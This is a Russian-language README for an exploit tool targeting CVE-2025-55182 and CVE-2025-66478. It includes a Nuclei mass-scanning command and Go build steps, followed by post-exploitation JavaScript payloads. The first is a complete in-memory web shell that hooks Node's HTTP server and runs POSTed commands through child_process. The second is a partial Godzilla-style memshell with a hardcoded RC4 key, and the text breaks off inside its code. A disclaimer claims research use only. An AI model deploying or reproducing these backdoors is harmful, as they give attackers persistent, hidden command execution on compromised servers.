Эксплойт для CVE-2025-55182 и CVE-2025-66478
[!CAUTION] Отказ от ответственности / Disclaimer
Данный инструмент предназначен исключительно для исследований и обучения в области безопасности. Перед использованием инструмента для тестирования необходимо получить законное разрешение на целевую систему.
Запрещается использовать его для несанкционированного тестирования на проникновение, вредоносных атак или любых других незаконных целей. Все риски и юридические последствия, связанные с выявлением и использованием уязвимости, полностью возлагаются на пользователя и не касаются разработчиков данного проекта.
Если вы не согласны с этими условиями, немедленно прекратите загрузку или использование инструмента.
Инструмент разработан на основе общедоступных статей и не предоставляется в виде скомпилированных бинарных файлов. Пожалуйста, самостоятельно проверьте код и выполните сборку.
Основная логика и методы обхода этого инструмента вдохновлены исследованиями сообщества. Особая благодарность следующим специалистам:
Prototype ChainArray Map Chainmodule._load).Используйте Nuclei для массового распознавания и проверки уязвимости:
nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt
# Установка зависимостей
go mod tidy
# Сборка
go build -ldflags="-s -w" -o ReactExploit cmd/main.go
# Запуск
./ReactExploit
В модуле «Продвинутое использование -> Выполнение нативного JS-кода» можно использовать следующие Payload для действий после эксплуатации.
cmdlinux
(function(){
try {
if (global.memshell_active) return "Memshell already active!";
var http = process.mainModule.require('http');
var cp = process.mainModule.require('child_process');
var qs = process.mainModule.require('querystring');
var originalEmit = http.Server.prototype.emit;
http.Server.prototype.emit = function(event, req, res) {
if (event === 'request' && req && res) {
var url = req.url || "";
if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
var bodyArr = [];
req.on('data', function(chunk) {
bodyArr.push(chunk);
});
req.on('end', function() {
try {
var bodyStr = Buffer.concat(bodyArr).toString();
var postData = qs.parse(bodyStr);
var cmd = postData['pwd'];
if (cmd) {
var output = cp.execSync(cmd).toString();
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end(output);
} else {
res.writeHead(400);
res.end("Parameter 'pwd' is missing.");
}
} catch (e) {
res.writeHead(500);
res.end("Error: " + e.message);
}
});
return true;
}
}
return originalEmit.apply(this, arguments);
};
global.memshell_active = true;
return "Memshell injected!";
} catch (e) {
return "Injection failed: " + e.message;
}
})()
(function() {
try {
if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
var http = process.mainModule.require('http');
var secretKey = '3c6e0b8a9c15224a';
var payloadName = 'ge0b8a';
function rc4(key, data) {
var s = Array(256), k = Array(256);
var i, j = 0, tmp;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key.charCodeAt(i % key.length);
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
i = j = 0;
var out = Buffer.alloc(data.length);
for (var idx = 0; idx < data.length; idx++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
var t = (s[i] + s[j]) % 256;
out[idx] = data[idx] ^ s[t];
}
return out;
}
var originalEmit = http.Server.prototype.emit;
http.Server.prototype.emit = function(event, req, res) {
if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
var bodyArr = [];
req.on('data', function(chunk) {
bodyArr.push(chunk);
});
req.on('end', async function() {
try {
var bodyStr = Buffer.concat(bodyArr).toString();
var json = JSON.parse(bodyStr);